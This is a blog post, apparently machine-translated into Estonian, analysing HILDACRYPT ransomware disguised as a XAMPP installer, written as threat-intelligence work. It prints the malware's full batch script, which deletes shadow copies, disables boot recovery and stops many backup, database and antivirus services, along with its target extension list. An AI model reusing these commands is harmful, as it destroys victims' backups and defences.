{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: uus lunavara programm r\u00fcndab varunduss\u00fcsteeme ja viiruset\u00f5rje lahendusi","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Tere, Habr! J\u00f5uame taas v\u00e4rskeid koguseid pahavarast Ransomware kategoorias. HILDACRYPT on uus lunavara, mis kuulub 2019. aasta augustis avastatud Hilda perekonda, mille nimi on saanud inspiratsiooni Netflixi voogedastusplatvormilt. T\u00e4na tutvume selle uuendatud lunavara tehniliste omadustega.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nEsimeses Hilda lunavara versioonis oli link YouTube'is treiler<\/a><\/noindex> multifilmi seeriast sisalduv ransom-note'is. HILDACRYPT varjab end seadmete XAMPP legitiimse installija all \u2014 lihtne installitav Apache distributsioon, mis sisaldab MariaDB, PHP ja Perl'i. Samuti on kr\u00fcptolaokeril teine faili nimi \u2014 xamp. Lisaks ei oma lunavara fail digitaalset allkirja.<\/p>\n

Statiline anal\u00fc\u00fcs<\/h3>\n

\nLunavara asub PE32 .NET failis, mis on kirjutatud MS Windows'i alla. Selle suurus on 135 168 baiti. N nii p\u00f5hikood kui ka kaitseprogrammi kood on kirjutatud C#. Kompileerimise kuup\u00e4eva m\u00e4rgi kohaselt loodi binaarfail 14. septembril 2019.<\/p>\n

\"HILDACRYPT:
\n
\nDetect It Easy andmete kohaselt on lunavara pakitud Confuser ja ConfuserEx abil, kuid need obfuskaatorid on endiselt samasugused, lihtsalt ConfuserEx on Confuseri j\u00e4reltulija, seega on nende koodide signatuurid sarnased. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT on t\u00f5epoolest pakitud ConfuserEx abil. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

R\u00fcnnaku vektori<\/h3>\n

\nT\u00f5en\u00e4oliselt avastati lunavara m\u00f5nel veebiprogrammeerimise p\u00fchendatud saidil, maskeerituna seadusliku programmiga XAMPP.<\/p>\n

Kogu nakkusahelat on v\u00f5imalik n\u00e4ha app.any.run liivakastis<\/a><\/noindex>.<\/p>\n

Obfuskatsioon <\/h3>\n

\nLunavara read on salvestatud kr\u00fcptitud kujul. HILDACRYPT dekodeerib need k\u00e4ivitamisel Base64 ja AES-256-CBC abil.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Installeerimine<\/h3>\n

\nEsiteks loob lunavara kaustas %AppDataRoaming% kausta, mille GUID (Globaalne Unikaalne Identifikaator) genereeritakse juhuslikult. Lisades sellesse asukohta bat-faili, k\u00e4ivitab lunavara selle cmd.exe abil:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nSeej\u00e4rel alustab ta paketis skripti k\u00e4ivitamist, et keelata s\u00fcsteemi funktsioonid v\u00f5i teenused.<\/p>\n

\"HILDACRYPT:
\n
\nSkript sisaldab pikka k\u00e4skude loetelu, millega h\u00e4vitatakse varjatud koopiad, keelatakse SQL-server, varundamine ja viiruset\u00f5rje lahendused.<\/p>\n

N\u00e4iteks \u00fcritab see eba\u00f5nnestunult peatada Acronis Backup'i varundusteenuseid. Lisaks r\u00fcndab see j\u00e4rgmiste tarnijate varundus- ja viiruset\u00f5rjes\u00fcsteeme: Veeam, Sophos, Kaspersky, McAfee ja teised.<\/p>\n

@echo off\n:: Ma ei ole t\u00f5eliselt ponide f\u00e4nn, joonistuslike t\u00fcdrukute seas on parem, ei arva?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \"Sophos Device Control Service\" \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \"Zoolz 2 Service\" \/y\nnet stop McTaskManager \/y\nnet stop \"Sophos AutoUpdate Service\" \/y\nnet stop \"Sophos System Protection Service\" \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \"Symantec System Recovery\" \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \"Sophos Health Service\" \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \"Sophos Message Router\" \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \"Sophos Clean Service\" \/y\nnet stop swi_update_64 \/y\nnet stop \"Sophos Web Control Service\" \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \"Veeam Backup Catalog Data Service\" \/\net stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \"Sophos MCS Client\" \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \"SQLsafe Backup Service\" \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \"Sophos Safestore Service\" \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \"Sophos File Scanner Service\" \/y\nnet stop \"Sophos Agent\" \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \"Enterprise Client Service\" \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \"SQL Backups\" \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \"Sophos MCS Agent\" \/y\nnet stop RESvc \/y\nnet stop \"Acronis VSS Provider\" \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \"SQLsafe Filter Service\" \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nP\u00e4rast seda, kui eespool nimetatud teenused ja protsessid on keelatud, kogub kr\u00fcpto-lukustaja teavet k\u00f5igi t\u00f6\u00f6tavate protsesside kohta, kasutades k\u00e4sku tasklist, et veenduda, et k\u00f5ik vajalikud teenused ei t\u00f6\u00f6ta. 
\ntasklist v \/fo csv<\/i><\/p>\n
Selle k\u00e4su abil kuvatakse \u00fcksikasjalik nimekiri t\u00f6\u00f6tavatest protsessidest, mille elemendid on eraldatud t\u00e4hega \u201e,\u201d. 
\n«\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abunknown\u00bb,»\ufffd\/\ufffd»,\u00ab0:00:03\u00bb,»\ufffd\/\ufffd»»
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nP\u00e4rast seda kontrolli alustab lunavaraprogramm kr\u00fcpteerimisprotsessi. <\/p>\n
Kr\u00fcpteerimine 
\n<\/h3>\n
Failide kr\u00fcpteerimine<\/h4>\n
\nHILDACRYPT l\u00e4bib k\u00f5ik k\u00f5vaketastelt leitud sisud, v\u00e4lja arvatud kaustad Recycle.Bin ja Reference AssembliesMicrosoft. Viimases sisalduvad kriitilised dll, pdb ja muud failid .Net rakendused, mis v\u00f5ivad m\u00f5jutada lunavaraprogrammi toimimist. Kr\u00fcpteeritavate failide leidmiseks kasutatakse j\u00e4rgmist laiendite loetelu:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
\n<\/i>
\nKasutaja failide \u0161ifreerimiseks kasutab lunavarah\u00e4ire algoritmi AES-256-CBC. V\u00f5tme suurus on 256 bitti ja initsialiseerimise vektori (IV) suurus on 16 baiti. <\/p>\n
\"HILDACRYPT:
\n
\nJ\u00e4rgneval ekraanipildil on v\u00e4\u00e4rtused byte_2 ja byte_1 juhuslikult saadud meetodi GetBytes() abil. <\/p>\n
\"HILDACRYPT:
\n
\nAla<\/p>\n
\"HILDACRYPT:
\n
\nV\u00d5<\/p>\n
\"HILDACRYPT:
\n
\n\u0160ifreeritud failil on laiend HCY!.. See on \u0161ifreeritud faili n\u00e4ide. Selle faili jaoks on loodud \u00fclalmainitud v\u00f5ti ja IV. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
V\u00f5tme \u0161ifreerimine<\/h4>\n
\nKr\u00fcptolooge salvestab genereeritud AES-v\u00f5tme \u0161ifreeritud faili. \u0160ifreeritud faili esimene osa sisaldab pealkirja, mis sisaldab selliseid andmeid nagu HILDACRYPT, KEY, IV, FileLen XML-formaadis, ja n\u00e4eb v\u00e4lja j\u00e4rgmine.<\/p>\n
\"HILDACRYPT:
\n
\nAES-v\u00f5tme ja IV \u0161ifreerimine toimub RSA-2048 abil ning kodeerimine Base64 abil. RSA avalik v\u00f5ti hoitakse kr\u00fcptolooge kehas \u00fches \u0161ifreeritud real XML-formaadis.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
AES-faili v\u00f5tme \u0161ifreerimiseks kasutatakse RSA avalikku v\u00f5tit. RSA avalik v\u00f5ti on Base64 kodeeritud ja koosneb moodulist ja avalikust eksponentidest 65537. De\u0161ifreerimiseks on vajalik RSA private key, mis on r\u00fcndajal.<\/p>\n
P\u00e4rast RSA kr\u00fcpteerimist AES v\u00f5ti kodeeritakse Base64 abil, mis on salvestatud kr\u00fcpteeritud failis.<\/p>\n
Lunav\u00f5te teadete<\/h3>\n
\nKr\u00fcpteerimise l\u00f5ppedes salvestab HILDACRYPT HTML-faili sellesse kausta, kuhu ta failid kr\u00fcpteeris. Ransomware'i teade sisaldab kahte e-posti aadressi, mille kaudu ohver saab kurjategijaga \u00fchendust v\u00f5tta.<\/p>\n